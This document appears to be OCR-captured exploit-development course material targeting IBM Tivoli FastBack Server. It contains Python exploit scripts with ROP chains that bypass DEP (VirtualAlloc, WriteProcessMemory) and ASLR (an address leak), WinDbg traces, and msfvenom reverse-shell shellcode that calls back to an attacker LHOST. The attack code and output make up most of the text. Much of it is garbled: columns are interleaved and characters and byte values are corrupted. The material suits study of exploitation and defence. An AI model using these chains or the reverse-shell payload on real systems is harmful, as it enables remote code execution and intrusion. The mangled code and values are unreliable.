As shown in the function prototype, VirtualAlloc requires a parameter
(dwsSize) for the size of the memory region whose protection properties we
are trying to change. However, VirtualAlloc can only change the memory
protections on a per-page basis, so as long as our shellcode is less than
0x1000 bytes, we can use any value between 0x01 and 0x1000.

The two final arguments are predefined enums. flAllocationType must be
set to the MEM_COMMIT enum value (numerical value 0x00001000),
while flProtect should be set to the PAGE_EXECUTE_READWRITE enum
value (numerical value 0x00000040).1 This will allow the memory page to
be readable, writable, and executable.

14/10/2025

0d2be300 75f5ab90 -> KERNEL32!VirtualAllocStub

0d2be304 0d2be488 -> Return address (Shellcode on the stack)
0d2be308 0d2be488 -> IpAddress (Shellcode on the stack)
0d2be30c 00000001 -> dwSize

0d2be310 00001000 -> flAllocationType

0d2be314 00000040 -> fiProtect
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VirtualAlloc

There are a few things to note.
® We do not know the VirtualAlloc address beforehand.
® We do not know the return address and the IpAddress argument beforehand.

e dwSize, flAllocationType, and flProtect contain NULL bytes.

We can deal with these problems by sending placeholder values in the skeleton. We'll then assemble ROP
gadgets that will dynamically fix the dummy values, replacing them with the correct ones.

14/10/2025
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# psAgentCommand
buf = bvtua::av{[nu41]+ﬂucl

buf += 0x534) # opcode

buf += 0x8) # 1st memcpy: offset

buf += @x500) & 1st memcpy: size field 0:077: g

buf += 1 # 2nd memcpy: offset (218 . 1114%: Access wviolation — code 0000005 (first chance)

buf += # 2nd memcpy: size field Fir=t chance ezxception= are reported before any exception handling.

buf += # 3rd memcpy: offset Thi= ezception may be expected and handled.

buf += # 3rd memcpy: size field eax=00000000 ebx=05{1c318 ecx=0440ca?0 ed=x=77e71670 e=si=05{1c318 =di=00669360

buf+=twtumxavfﬂh41hﬁna 21p=42424242 e=p=0d40=3lc sbp=51515151 i1opl=0 nv up 21 pl =r na pe nc
cs=001b ===0023 d==0023 e=s=0023 {==003Lb g==0000 ef1=0001024%6

# psCommandBuffer 42424242 17 Y

va = pack{" L" (Bx45454545)) dummy VirutalAlloc Address 0:077: do esp-1c

va += pack("<L", (@x46464646)) # Shellcode Return Address =¥ 0d40e300 45454545 46464646 00000000 48454548 EEEEFFFF. .. HHHH

va += pmm{HL"J{@ﬂJ4ﬁJ4?MI # dummy Shellcode Address 0d40=310 00000000 51515151 42424242 43434343 L OO BEBRCCCT

va += pack("<L", (0x48484B848)) # dummy dwSize 0d40=320 43434343 43434343 43434343 43434343 COCCCCCCCCCCCCCC

va += pack("<L", (@x49494949)) # dummy flAllocationType 0d40=330 43434343 43434343 43434343 434343453 CCCCOCCOCCCOOCCCC

va += pack({"<L", (@x51515151)) # dummy flProtect 0d40=340 43434343 43434343 43434343 43434343 COCCCCCCCCCCCCCC
0d40=350 43434343 43434343 43434343 43434343 CCOCCCCCCCCCCCCCC

offset = b"A" * (276 - len{va)) 0d40=3e0 43434343 43434343 43434343 43434343 COOCCCOCCOCCOCCCC

eip = b"B" * & 0d40=370 43434343 43434343 43434343 43434343 COCCCCCCCCCCCCCC

rop b"C" + (@x400 - 280)

chain = offset + va + eip + rop

formatString = b"File: %s From: %d To: %d ChunkLoc: %d FilelLoc: %d" % (chain,®,90,0,0)
buf += formatString

# Checksum
buf = pack("»>i", len({buf)-&) + buf

def main():

server = "192.168.232.10"
port = 11460

s = socket.socket{socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))

s.send(buf)
s.close()

print("[+] Packet sent™)
sys.exit{@)
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offset = b"A" * (

eip = pack("<L",

rop = b"C" * (

0:078> bp 0x50501110

0:078: g

Brealkpoint 0 hit

eax=00000000 ebx=05dab3bf ecx=0dZ2cca?l edx=77=271670 ==1=05dab3b8 =di=00669360

2ip=50501110 e=p=0dice3dlc ebp=51515151 iocpl=0 nv up 21 pl Zr na pe nc
c==001b ss=ﬂﬁ?§“ﬂ§gﬂﬂ::? es=0023 f==003b g==0000 ef1=00000246
CSFTPAVE+0x1110:

50501110 G54 pu=sh 2=

0:078> dd e=sp 14
0d2ce3lc 43434343 43434343 43434343 43434343

0:078: p

eax=00000000 =hx=05dab3bf ecx=0dZ2cca?l edx=77=271670 ==1=05dab3b8 =di=00669360
21p= gzp=0d2ce318 ebp=51515151 iopl=0 nv up 21 pl ¥ na pe nc
c==001b ===0023 d==0023 e=s=0022 {==003Lb g==0000 ef1=00000246
CSFTPAVE+0x1111:

50501111 50 pu=h [=T=hd

0:078> dd e=sp 14
0d2ce3ld 0didcedlc 43434343 43434343 43434343

0:078: p

eax=00000000 ebx=05dab3bf ecx=0dZ2cca?l edx=77=271670 ==1=05dab3b8 =di=00669360

2ip=50501112 e=sp=042ce314 =bp=51515151 iopl=0 nv up =i plm 2T o= LE oo
c==001b ===0023 d==0023 e==0023 f==003b g==0000 ef1=00000246
CSEFTPAVE+0x1112 -

50501112 Gf o edi

0:078> dd e=sp 14

0dZ2ce3ld 00000000 OdiZoceilc 43434343 43434343

0:078: p

eax=00000000 =bx=05dab3b8 ecx=0dZ2cca?l edx=77=271670 ==1=05dab3b8 =di=00000000

2ip=50501113 e=p=042?c=318 =bp=51515151 iopl=0 nv up =i plmZr o= pE oo
c==001b ===0023 d==0023 e==0023 f==003b g==0000 efl=00000246
CSFTPAVE+0=1113:

50501113 Se pop [==h1

0:078> dd e=sp 14
0dZ2ce318 0d2cedlc 43434343 43434343 43434343

0:078: p

eax=00000000 ebx=05dab3b8 ecx=0d2cca?0 edx=77271670 e=si=0d2c=31lc =di=00000000
2ip=50501114 e=sp=0d2ce3lc =bp=51515151 iopl=0 =T¥ up 21 Dl ZT na pe nc
cs=001b ss=0023 ds=0023 e==0023 f==003b g==0000 =f1=00000246
CSEFTPAVE+0x1114 -

0501114 <3 ret

0:078> dd e=p 14
NdZcedlc 43454343 43434343 43434343 43434343
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offset = b"A" * (276 - len(va)) # patching VA arguments
# e e e
#_patching VirtualAlloc address wia IAT ) . # move esp to point to VA address and patched arguments
eip = pack("<L", (B8x5850111@)) # push esp ; push eax ; pop edi: pop esi ; ret # patching lpAddress rop += pack({"<L", (0x585811Be)] # mov eax.esi ; pop esi ; retm
rop = pack({"=L", (8x5858118e)) # mov eax,esi ; pop esi ; retm rop += packl"<L", {Bx58522fa7)] # inc esi ; add al, Bx2B ; ret rop += pack("<L", (Bx42424242)) # junk
rop += pack("<L", (0x32224747)) # junk rop += pack("<L", (0x58522fa7)) # inc esi ; add al, Bx2B ; ret rop += pack('<L", (8x585115a3)) # pop ecx ; ret
rop += pack{"<L", [0x505115a3)) # pop ecx ; ret rop += pack(’ = {8x50522fa7)) # inc esi ; add al, Bx2?B : ret rop += pack("<L", (@xffffffed)) # negative offset value
rop += pack("=L", (Oxffffffed)) # -Ox1C Lo . o ! : rop += pack("=L", (Bx585157%9a)) # add eax, ecx ; ret
e . rop += pack("<L", (@x58522faT)) # inc esi ; add al, Bx2B ; ret .
rop += pack{"=L", (0x5051579a)) # add eax, ecx ; ret i o Bx5050118 2 S o rop += pack("<L", (Bx53851571f)) # xchg eax, ebp ; ret
rop += pack{"=L", (B8x50537d5b)) # push eax ; pop esi ; ret rop += pac [."_' o B El] mov eax, esl § pop &sSL ret rop += pack("<L", (8x58533cbf)) # mov esp, ebp ; pop ebp ; ret
rop += pack("<L", (Bx5853a@f5)) # pop eax ; ret rop += pack[la_ ¢ (8x42424242)) # Junk
rop += pack("<L", (0x50544221)) # VirtualAlloc IAT + 1 rop += pack({"<L", (8x3852f773})} # push eax ; pop esi ; ret # msfvenom -p windows/shell_reverse tcp LHOST=102.168.45.185 LPORT=443 -b "\x@0\x09%x8:
rop += pack("<L", (Bx585115a3)) # pop ecx ; ret rop += pack("<L", (8x385115a3)) # pop ecx ; ret padding = b"C" % Bued
rop += pack(“=L", (Bxffffffff)) # -1 into ecx rop += pack("=L", (@xfffffdfd)) # -0x28c
rop += pack{"=L", (Bx585157%)}) # add eax, ecx ; ret rop += pack("<L", (8x58533bf4)) # sub eax, ecx ; ret E:E{:Eﬂgﬂ :_ EW e
rop += pack{"=L", (0x5851f278)) # mov eax, dword [eax] ; ret rop += pack("=L", (@x5851cbb6)) # mov dword [esi], eax ; ret SRELLCOOE == 0 Lefs i sriiabe e s bneiis s
rop += pack{“<L", (0x5851lcbb&)) # mov dword [esi]. eax ; ret shellcode 4= b"\x3fhx2@hacBiabllx532he31 ]
# patching dwSize shellcode += b"\x834Wx0d'x1ch x50 xbE\nel'x
i . . Lo . shellcode += b"\x77\xb3\xf3\x37\xbT\xalhx7
# patching return address rop 1: pac:Elf-_ ' :gxgggigza;:; : imc esi ; H:: a{- gxgg i FE: shellcode += b"\xB4%xecixelixcox1FixBEYx2d
" ; - . rop = packl =o , LEx = inc esl ; add al, Hxsb o re shellcode += b"\xcalx204x02x68xdd\xaa'x5e"
rop += pack( EL"' (0x508522Fa7)) # inc esi ; add al, B8x2B ; ret rop += pack("<L", (Bx538522fa7)) # inc esi ; add al, Bx2B ; ret shellcode += b"\xbO\xachxddy xcdixI0hxFolxad"
rop += pack("<=L", ([0x58522fa7)) # inc esi ; add al, O8x2B ; ret . . Lo ) N . R
N . . rop += pack("<L", {Bx58522fa7)) # inc esi ; add al, Bx2B ; ret shellcode += b"\xd7\xZchxObh o F1A\xFGEY 34N %7
rop += pack{"=L", ([0x50522fa7)) # inc esi ; add al, @x2B ; ret . . - +
o " ; . . rop += pack("<L", (@x5853aBf53)) # pop eax ; ret shellcode += b"\xd@\xad\xbS\xce\xBeixdd\xff
rop += pack({"=L", (0x50522fa7)) # inc esi ; add al, @x2B ; ret . . - [ - .
rop += pack("=L", (Bx508508118e)) # mov eax, esi ; pop esi ; ret rop += pack{"<L", (Bxffiffiff)) # -1 value that is negated shellcode 4= b*Ax63\xaZA\x01\xdB\xaS\xFi\xSa
rop += pack(“<L", (Bx42424242}) # junk rop += pack("=<L", (@x58527848)) # neg eax ; ret shellcode += b"\x-?\xfﬂ\a-g\xS%\a&j\x;:\ae_
rop += pack(“<L", (Bx5852f773)) # push eax ; pap esi ; ret rop += pack("<L", (8x505lchbG)} # mov dword [esil, eax ; ret e
fop = PaC:E {t"' ng?$?:%3?g;; i pgp2§gx P # patchi FLALL tionT shellcode == h"\‘aé\Q§2\L29\¥j=\Lﬁcxgééxx=5
rop += pack("<L", (@x -8x patching ocationlype shellcade += b"\x7e\x25%x15 x84 xda\x2e"xbEY
rop += pack( <L:. (0x58533b74)) # sub eax, ecx ; ret rop += pack("<L", (8x38522fa7)) # inc esi ; add al, Bx2B ; ret shellcode += h"\‘gﬁ\x;a\hej\xzsxht;\x;d\h=§
rop += pack("=L", (©x5851cbb&)) # mov dword [esi], eax ; ret rop += pack("<L", {Bx538522fa7)) # inc esi ; add al, Bx2B ; ret shaellcode += b\ xld\xdT\xd8%x6F\xShhxc2y\ X351 )
rop += pack("=L", (@x58522faT)) # inc esi ; add al, Bx2B ; ret shellcode += b"\xd6'\x68%xb0%x 15 xA0% x40 xc 2
rop += pack("<L", {Bx538522fa7)) # inc esi ; add al, Bx2B ; ret shellcode 4= b"\x51\xc@'xclhxcB\x12\xbBYxal®
rop += pack("=L", (Bx5853aBf3)) &# pop eax ; ret shellcode += b::‘-KEEI"‘.?::_I:‘HEE-"'.IE".'"\h&f"‘..\:bﬁ‘\-alc:
rop += pack("<L", (0xB8808683)) # first value to be added e
. rop += pack{"<L", (8x385115a3)) # pop ecx ; ret shellcode == b oo il i ve e s
Adding ~80 more gadgets... rop +— pack('-L", [Bx71773t88)) # second valus to be added shellcode += b\ 1\xTe ARSI \nba\x2c i \x06)
rop += pal:lt[:f-'_ » (Bx3051379a)) # add eax, ecx ' ret shellcode 4= b"\xdd\xca'\xed\xa?\ 2634k T3x5hY
rop += pack("=L", (Bx3851cbbG)) # mov dword [esi], eax ; ret shellcode 4= b"\x5d\xafhxd8x2b\ xS\ x2bixbe’
shellcode += b"'\x1ld4x3a'\xalhx3b'\xc2hx0d'x0f
# patching flProtect shellcode += b"'\xd9Wxb6F\x06%x 0 \xalhxbdy x50
rop += pack("=L", (@x58522faT)) # inc esi ; add al, Bx2B ; ret shellcode += b"'x11%xd6%x1 % xc3\x0elxBetx97"
rop += pack{"=L", (@x58522fa7}) # inc esi ; add al, Bx2B ; ret shellcode 4= b"\xl7\xdThxdelx12\x35 wee\ 7T
rop += pack("<L", (8x58522fa7)) # inc esi ; add al, Bx2B ; ret shellcode += b™"\xfcAxlb\x {023\ x7 Fxad\x89)
rop += pack("<L", (Bx58522fa7)) # inc esi ; add al, Bx2B ; ret shelloode == b7t vl 2o T e _
rop += pack("<L", (8x505336F5)) # pop eax ; ret shellcode 4= b"\xcc (8xd88 - 276 - 4 - len(shellcode) - lem{rop} - lenipadding)}
rop += pack("<L", (8xB@8038EA)) # first wvalue to be added chain = offset + va + eip + rop + padding + shellcode
rop += pack("<=L", (8x585115a3)) # pop ecx ; ret
rop += pack("=L", (@x7f7f7fcB)) # second value to be added formatString = b"File: %s From: %d To: %d Chunkloc: %d FileLoc: %d" % (chaim,®,8,8,8)
rop += pack("=L", (8x5385137%a)) # add eax, ecx ; ret buf += formatString
rop += pack("<L", (8x5851lcbbi)) # mov dword [esi], eax ; ret
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#rop += pack("=L",

(8x5851eddb)) # int3 ; push eax ; call esi
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Address Space
Layout Randomization

(ASLR)
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ASLR

ROP evolved over time to make many basic stack buffer overflow
vulnerabilities, previously considered un-exploitable because of DEP,
exploitable. The goal of ASLR was to mitigate exploits that defeat DEP
with ROP. At a high level, ASLR defeats ROP by randomizing an EXE or
DLLs loaded address each time the application starts.
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First Boot

USER32
Ox7d000000
ntdll

kernel32

Ox7B000000

GDI32

079000000

r: ¥ z
il2AE Qw7 7000000

Ow75000000

ADVAP123

Ox 73000000

Second Boot

atdll

USER3Z

RCPRT4

kernel32

GLI32

ADVAP123

mswvc rt

0x7d000000

OxFb000000

0x 73000000

077000000

Ox 75000000

Qw7 3000000
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To bypass ASLR:

* Exploit modules that are compiled without ASLR
* Exploit low entropy with partial overwrite

* Brute force a base address

* Leverage an information leak.
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0:079: lnmod

00190000 001=3000 =nclientapi ~SafeSEH OFF C:~Program File=~Tivoli~TSM~Fa=stBack*serwver~=snclientapi . dll
Q0140000 001£4000 liboclog ~SafeSEH OFF C:~Program Files~Tivoli~TSM~Fa=stBack-=serwver-liboclog . dll
Q0400000 000000 FastBaclkSerwver ~SafeSEH OFF C:~Program Files~Tivoli~TSH-Fa=tBacl=zerver-FaztBackServer exe
N1z2e0000 01322000 HLS ~SafesSEH OH -G5S C:~Program Files~Tivoli~TSM~FastBack-Common~HLS 411
014b0000 014db000 g=skiiccs ~SafesSEH OFF C:~Program Files~ibm~g=z=ki~lib~gskiiccs dll

Nl=e20000 01252000 i1cclibOl9 ~SafeSEH ON G5 C:~Program Files“ibm“g=slk8~lib“H-iccicclib~icclib019 .dl11
Q30£0000 031=0000 libeaw3izIBMO19 ~5afeSEH OFF Z:“Program Files-ibm-gs=ski~lib“H-icco=s=slib~libeay3Z2IBH0O19 .d11
10000000 1003d000 SHES ~SafeSEH OFF C:~Program Files~Tivoli~TSH-~FastBaclk~server~SHEFS dll
S0z200000 50237000 CSHCDAVGE ~SafeSEH ON G5 C:~Program Files“Tivoli~TSH-FastBaclk“server~CSHCDAVE .DLL
50500000 50577000 CSFTRAVGA ~SafeSEH ON G5 C:~Program File=s-~Tivoli~TSH-FastBack-=server-~CSFTPAVE .DLL
1000000 51032000 CSHTRAVA <SafeSEH OH G5 C:~Program Files-Tivoli-TSHM-FastBaclk serwer~CSHTPAVE DLL
651bL0O000 65253000 MSVCE9I0 ~5afeSEH ON G5 *#ASLE *#DEF C:~Windows~WinSx5S-x86_microszoft. wc90 crt_1fcf8b3b9aleldedb_9.0.3
65740000 65767000 ulib ~SafeSEH ON G5 #*#ASLE *#DEF C:~Windows~SYSTEMZZ2-ulib.dll

RE770000 657ac000 IfsUtil ~SafeSEH ON -G5S #ASLE *#DEP C:~Windows-SYSTEM22~If=sUti1l.d11

GE7L0O000 &657be000 fmifs= ~SafeSEH ON G5 *#AS5LE *DEFP C:~Window=-~SYSTEM3IZ~fmif=.dll

cafall0d 6aBaf000 browcli ~SafeSEH ON G5 *=ASLE *#DEP C . ~Windows~SYSTEM3Z2-browcli . dll

6a9=0000 6a9=a000 DAVHLFR ~SafeSEH ON -GS =ASTF *=DEP C:-Windows-System22~DAVHLFE . d11

6a3d0000 6a9=9000 dawclnt #SafeSEH O  ~G5 *ASLE *#DEFP C:~Windows~Sy=stem3iZ~dawvclnt . dll

a9 f 0000 62202000 ntlanman <SafeSEH ON G5 *ASLE *DEP C:~Windows~SystemdZ~ntlanman.dll

62210000 62219000 drprow ~SafeSEH OH G5 *ASLE *DEP C:~Windows~SvstemiZ~drprow.dll

RaaZ0000 6aab57000 ad=ldpc ~S5afeSEH ON G5 *#ASLE *#DEFP C:~Windows~5YSTEM3Z-ad=sldpc.dll

haab0000 6aa9b000 ActiweDS ~SafeSEH ON -G5S =*#ASLRE *=DEP C:~Windows-SYSTEMZ2-ActiveDS . dl1

fabd0000l 6abd=000 winrnr ~SafesSEH OH ~G5 *ASLE *#DEFP C:~Windows~SystemiZ~winrnr.dll

Gabe0000 6abf&lll phrpnsp ~SafeSEH O ~G5 *ASLE #DEFP C:~Windows“systemiZ-~pnrpnsp.dll

Gac00000 6acll00Dl napinsp ~SafeSEH ON G5 #ASIR #DEP C:~Windows“system3dZ2-napinsp.dll

Gadb0000 6adbf00ll c=capi #SafeSEH OH  ~G5 *ASLE *DEFP C:~Windows~S5SYSTEM3Z~c=capi . dll

ed380000 6439000 SEVCLI ~SafeSEH ON -GS *ASLE *DEP C:~Windows~SYSTEM32~SREVCLI.DLL

6d3a0000 64783000 m=i ~SafeSEH ON -GS *#ASLE *DEP C:~Windows~SYSTEMIZ“m=i . dll

eA790000 64911000 dbghelp ~5afeSEH ON G5 =45SLEF *=DEFP C:~Window=-~5YSTEM3Z2-~dbghelp.dll

6d920000 6d9=0000 CLUSAPI ~SafeSEH ON -GS =*#ASLE *=DEP C:~Windows-SYSTEM22~CLUSAPI . d11

cd9=0000 &6d9£7000 MPE ~5afeSEH ON G5 #*#ASLE *#DEF C:~Windows~SYSTEM3Z-MFE .dll

cda00000 &6dali0n0nl HETAFIZZ ~S5afeSEH OH G5 =*#ASLE *=DEP C:~Windows-SYSTEM3Z2-~HETAPI3Z . dll

6da20000 &6daz28000 VERSICH ~SafeSEH ON -GS #ASLE *=DEP C:~Windows-SYSTEM22~YERSICON . d11

fdaa0000 6daaalll Securid? NiO_SEH <535 *#ASLE *#DEP C:~Windows~SYSTEM3Z2-Securiz.dll

edd00000 edd0soon WsoCK3z2 ~SafeSEH ON G5 =*#ASLE *#DEP C ~Windows~SYSTEM32~WSOCKIZ2 dll

Gehaf0000 eecfl000 razadhlp ~SafeSEH OH <G5 *ASLE *#DEFP C:~Windows~Sy=temiZ~raszadhlp.dll

Gflal000 6fle=000 fwvpuclnt ~SafeSEH ON G5 #ASLE #DEP C:~Windows-Systemd2~fwpuclnt .dll
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(ﬁl bl

=

8
Best match

Windows Defender Security Center
App

Settings

32 Windows Defender Security Center

Windows Defender Security Center

Exploit protection

See the Exploit protection settings for your system and programs. You
can customize the settings you want.

System settings | Program settings

-+ Add program to customize

Add by program name

Choose exact file path

lequinitexe
1 system override

Program settings: FastBackServer.exe

Data Execution Prevention (DEP)
Prevents code from being run from data-only memory pages.

Owverride system settings

@ on

[ ] Enable ATL thunk emulation

Force randomization for images (Mandatory ASLR)
Force relocation of images not compiled with /DYMAMICBASE

Override system settings

@ on

I:l Do not allow stripped images
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0:067:
ao190000
aoi1do000a
ao400000
00ce0000
oode0non
0100000
olioo0on
0140000
01450000
o1goooon
03210000

| nmod

001l=doon
ngoilfdoon
00=0=000
nods7ooon
nod97ooon
olofz2000
o1133000
01462000
0l4bLO0O0O
0183=000
n3300000

0:066:
goi190o0o
ooldoooo
oo4o0o0o
00=10000
p1oso0oo0o
oilodaooao
g1i1i0o00
g14z0000
01l4c=0000
0lab00O00
031b000o

I nmod

001l=dioon
ooifdoon
00=0=000
O0=47000
Q107000
o1iozooo
o114zo000
01462000
0l4=kL000
Nla=a0On
03z2a0000

0:079:
nolsooan
noldoooon
nodoo0oon0
N0ce=0000
nodzoooon
niosooon
niiigoan
01450000
014=0000
01560000
nz1d0000

I nmod

001=d0on
o0l1£dooo
00z0=000
o0di?ooo
oodszo0oo
01107000
01143000
01492000
01l4c=kE0O00
0159000
03Z2=0000
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SHES

libcclog
Fa=ztBaclServer
CEFTPAVE
CENCDAVE
CEMTPAVE
znclientapil
HLS

gzl iccs
icclib019
libeay3iZ2IBHMO19

SHES

libzcclog
FastBackServer
CSHCDAVE
CSEFTERAVE
CSHTPAVE
snclientapi
HLS

g=kiiccs
icclib019
libeay3Z2IEMO19

SHFS

liboclog
FaztBaclkServer
CSHCDAVE
CSHTRAVE
CSEFTPAVE
snclientapi
HLS

gzkiiccs
icclibOl19
libeav32IBHO19

~SateSEH
~SateSEH
~SateSEH
~SatfeSEH
~SafeSEH
~Safe=eSEH
~Safe=5SEH
~SafeSEH
~SafeSEH
~SafeSEH
~SafeSEH

~SafeSEH
~SateSEH
~SafeSEH
~SafteSEH
~SafesSEH
~Safe=e5SEH
~SateSEH
~Safe=eSEH
~SateSEH
~SafeSEH
~SafeSEH

~SafeSEH
~SafeSEH
~Safe5SEH
~Safe5SEH
~SafeSEH
~Safe5SEH
~Safte5EH
~SafeSEH
~SafeSEH
~Safe5SEH
~SafeSEH

<25
<35
a5
a5

<55

~1535
<155
~1535
S35

<135

A55
LG5
<155
S55

S35

YN Ta e eI Na N aEaEe]
Dy,

aIa e iaialain e ey

~Program
~Program
~Program
wProgram
~Program
wProgram
~Program
~Program
w~Program
~Program
wProgram

~Program
~Program
~Program
wProgram
~Program
~Programn
~Program
~Program
~Program
~Program
~Frogram

wProgram Files~Tivoli~TSH-Fa=stBaclk=server~SHFS . dl1l
wProgram Files~Tivoli~TSH-FastBaclk server~liboclog.dll
wProgram Files~Tivoli~TSH“FastBaclk~=server~FastBaclkServer  exe
~Program Files~Tivoli~TSH~Fa=ztBaclk server~CSFTPAVE . DLL
~Program Files~Tivoli~TSH~Fa=ztBaclk server~CSHCDAVE . DLL
~Program Files~Tivoli~TSH~Fa=ztBack server~CSHTPAVE . DLL
~Program Files~Tivoli~TSH~FasztBack =server~=snclientapi . dll
~Program Files~Tivoli~TSH~FastBack-~Comnmnon~HLS . dll

~Program Files-ibm~gski~lib~g=skiiccs.dll

~Program Files~ibmg=ki~lib~H~icc~icclib~icclib019 . d11
~Program Files“~ibmgsk8~lib~H>icc~o=s=slib~1libeay32IBHM019 .d11

File=~Tivoli~TSH~Fa=stBaclk =server~5SHF5 . dll
Files~Tivoli~TSM~FastBack~=zerver~libocclog. dll
File=~Tivoli~TSH~Fa=stBaclk =zerver~FaztBaclServer sxe
File=~Tiwvaoli~TSH~Fa=stBaclk =server~CSHCDAVE . DLL
File=~Tivoli~TSH~FastBaclk server~CSFTFAVE . DLL
File=~Tivoli~TSH~FastBaclk =server~CSHTFAVE . DLL
Filez~Tivoli~TSH~FastBaclk=zerver~snclientapi dll
File=~Tivoli~TSH~FastBack~Commnon~HL5.d11
Files~ibm*g=ki8~lib~g=skiicc=s . dll
Files~ibm~g=lk&~lib~H~icc~icclib~icclib019 . d11
Files-ibm“~g=sk8~lib“H~icc~os=slib~1libeav32IBMO19 .d11

File=~Tiwvoli~TEH~Fa=stBaclk~=erver~SHF5 dll
Files~Tivoli~TSH~Fa=ztBacl.zerver~liboclog.dll
Files~Tiwvoli~TSKM~Fa=stBacl~server~Fa=stBaclkServer esxe
File=~Tivoli~TSKH~Fa=tBacl~=erver~CSHCDAVE . DLL
Files~Tivoli~TSM~Fa=stBacl~=server~CSHTFAVE DLL
File=~Tiwvoli~TSKH~Fa=tBacl~=zerwver~CSFTFAVE . DLL
Files~Tivoli~TSM~Fa=sztBacl.=erver~snclientapi dll
File=~Tiwvoli~TSM~Fa=stBacl~Common~HLS . dl1l
Files“ibm~g=ki8~lib~g=skiicc=.dll
Files~ibm~g=ki~lib~H~icc~icoclib~iccelib0l19.d11
Files-~ibm~g=lk2~lib~H~icc~o=s=lib~1libeaw32IBM019 .dl1

93



0:079:
nolsooon
noldaooon
no400000
00ce0000
nodz2ooon
ni0s0o0n
niiioooo
ni14s0000
N14=0000
01560000
nz1id0o00

| nmod

001=donn
o01£doon
00z0c=000
o0d1i7o0o
godsz2o0n
01107000
01143000
01492000
014=kb0O00
01592000
030000

= IDA View-A

Mame

B4 N9SE_CRYPTO_

SHES

libocclog
FaztBackServer
CSHCDAVE
CSMTEAVE
CSFTEAVE
=nclientapi
HLS

gzlkiiccs
icclib019
libeav32IBHO19

et_new_lockid

BEd N98E_CRYPTO_num_locks

Ed NO98E_CRYPTO_destroy_dynlockid
Ed N98E_CRYPTO_get_dynlock_value
B2 N98E_CRYPTO_get_dynlock_create_callback
Ed N98E_CRYPTO_get_dynlock_lock_callback

Ed N98E_CRYPTO_get_dynlock_destroy_callback
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Hex View-1

~Safe5SEH
~Safe5EH
~SafeSEH
~5afe5EH
~5Safe5SEH
~SafeSEH
~SafeSEH
~SafeSEH
~SafeSEH
~SafesSEH
~Safe5SEH

® A

OH G5
OH G5
OH <G5

OH /G5
CON  ~G5

Address

00000000000014E0
0000000000001580
0000000000001590
0000000000001660
00000000000016E0D
00000000000016F0
0000000000001700

e IeIaRaiaia e aNal e

~Program
~Program
~Program
~Program
~Program
Program
~Program
~Program
wProgram
~Program
~Program

Enums

File=~Tiwvoli~TSH~Fa=tBacl~=zerver~SHF5 . dl1l
Files~Tivoli~TSM~Fa=ztBack~=server~libcclog.dll
Files~Tivoli~TSH~Fa=tBack =server-FaztBackServer ex=
Files~Tivoli~TSH~Fa=ztBacl~szerver~CSHCDAYVE . DLL
Files~Tiwvoli~TSKH~Fa=ztBacl~serwver~CSHTEAVE . DLL
File=~Tivoli~TSKH~Fa=ztBacl~zerver~CSFTFAVE DLL
File=~Tivoli~TE~FaztBaclk ~zerver~=snclientapi dll
Files~Tiwvoli~TSH~Fa=ztBacl~Common~HLS.dl1l
Files~ibm~g=ki~lib~g=kiicc= dll
Files~ibm~g=zk8>~lib~H~icchicclib~icclaib019 . d11
Files“ibm~g=ski8~lib~H~iccwo=s=lib~1ibeaw32IBH019 . d11

®m & Imports W | & Exports x

Ordinal
1026
1804
2413
2419
2420
2417
2418
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)-[~/workshops/be101 ]

yython3 aslr0.5.py

+] Packet sent
+] Leaked function address is at: 0x32114e0

03210000 03300000 libeay3ZIBMO19 ~Saf=SER OFF

14/10/2025

+] 1ibeay32IBM019Base base address is at: 0x3210000
+] Bad chars provided: 0x0, 0x9, 0xa, Oxc, O0xd, 0x20
+] Second byte is clean: 0x21

C:\Prnéram Fileskibm\éskﬂ\lib\N\icc\Dsslib\liheayBEIBHDlB.dll
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def exploit(dllBase, WPMAddr):

try:

s _ o # Build the ROP chain # Patching nSize
# msfvenom -p windows/shell reverse tcp LHOST=192.168.45.167 LPORT=443 " # pshgentCommand header rop += pack( <", (dl1Base + @xbc79)] # inc eax ; ret

. buf = bytearray([0x41] * @xC) rop += pack({"=L", (dllBase + @xbc73)}) # inc eax ; ret
shellcode = © ., S S - buf += pack{"<i", Bx534) # opcode rop += pack("<L", (dl1Base + 8xbc79)} # inc eax ; ret
shellcode += b"\xTc'\xeB\x82\x00"x00'x00\x68 \xe5 buf += pack("=1", Ox8) # 1st memcpy: offset rop += pack("<L", (dl1Base + 8xbc79)) # inc eax ; ret
shellcode += b"\x64\x8bY\x50%x30xBb\x52 x0c x52% » buf += pack(::f-l_ , Bx1188) # 1st memcpy: size field rop += pack("<L", (dllBase + 8x488dd)) # push eax ; pop esi ; ret
shellcode += b"%x72} ) buf 4= pack("<i", Bx0) # 2nd memcpy: offset rop += pack{"<L", (dllBase + Ox48dBc)) # pop eax ; ret
shellcode += 0\ x7chxB2) ';“i = "a‘:‘,,"l. : g"é”“]# g ﬁ"d nemeRy it field rop += pack("<L", (8xTffffdf4)) # -524
shellcode += 0"\ x520x570 hﬂf +: pac ‘.."1. - 8x0) o memeny: ‘,] et rop += pack("<L", {(dl1Base + @x1d8c2)) & neg esax ; ret

= pack({"=i", B8x108) # 3rd memcpy: size field . .

shellcode += b"'\x7 buf += bytearray([6x41] * BxB) rop += pack("<L", (dllBase + @xB876d)) & mov ecx, eax ; mov eax, esi ; pop esi ; retn Bx8018
shellcode += b\ x5b\x rop += pack{"=L", (8x42424242)) # junk into esi
shellcode += b'\x310xFfy # psCommandBuffer rop += pack("<L", (dl1Base + Ox1fd8)) # mov [eax], ecx ; ret
shellcode += b\ xfE\xA3Y wpm = pack( =L", (WPMAddr)) # WriteProcessMemory Address rop += pack("=L", (@x42424242)) # junk for ret @x1@
shellcode += b\ xSE %24 wpm += pack{"<L", (dl1Base # 8x92c84)) # Shellcode Return Address rop += pack{"<L", (0x4242424Z)) # junk for ret @x10
shellcode 4= I3..\'3“3 wpm += pack{"=L", (8xFFFFFFFF)) # pseudo Process handle rop += pack("=L", (8x42424242)) # junk for ret 8x18
hellcode += " S bS50, wpm += pack{"<L", (dl1Base + 8x92c84)) # Code cave address rop += pack{"<L", (8x42424242)) # junk for ret 8x18
shellcode ek ) wpm += pack{"<L", (0x41414141)) # dummy LpBuffer (Stack address)
shellcode += I:“\.xgt-__x_f.?l'-.xiig\.:@d wpm += pack("<L", (08x42424242)) # dummy nSize # Align EAX with shellcode
shellcode += I:“\_x,?_-tf..@l-.x: I x5 ) ) \x4c wWpm += paclllu"f.L , (dl1Base + 6xed48lc)) # LpNumberOfBytesWritten rop += pack{"<L", {(dl1Base + @x117c)) # pop ecx ; ret
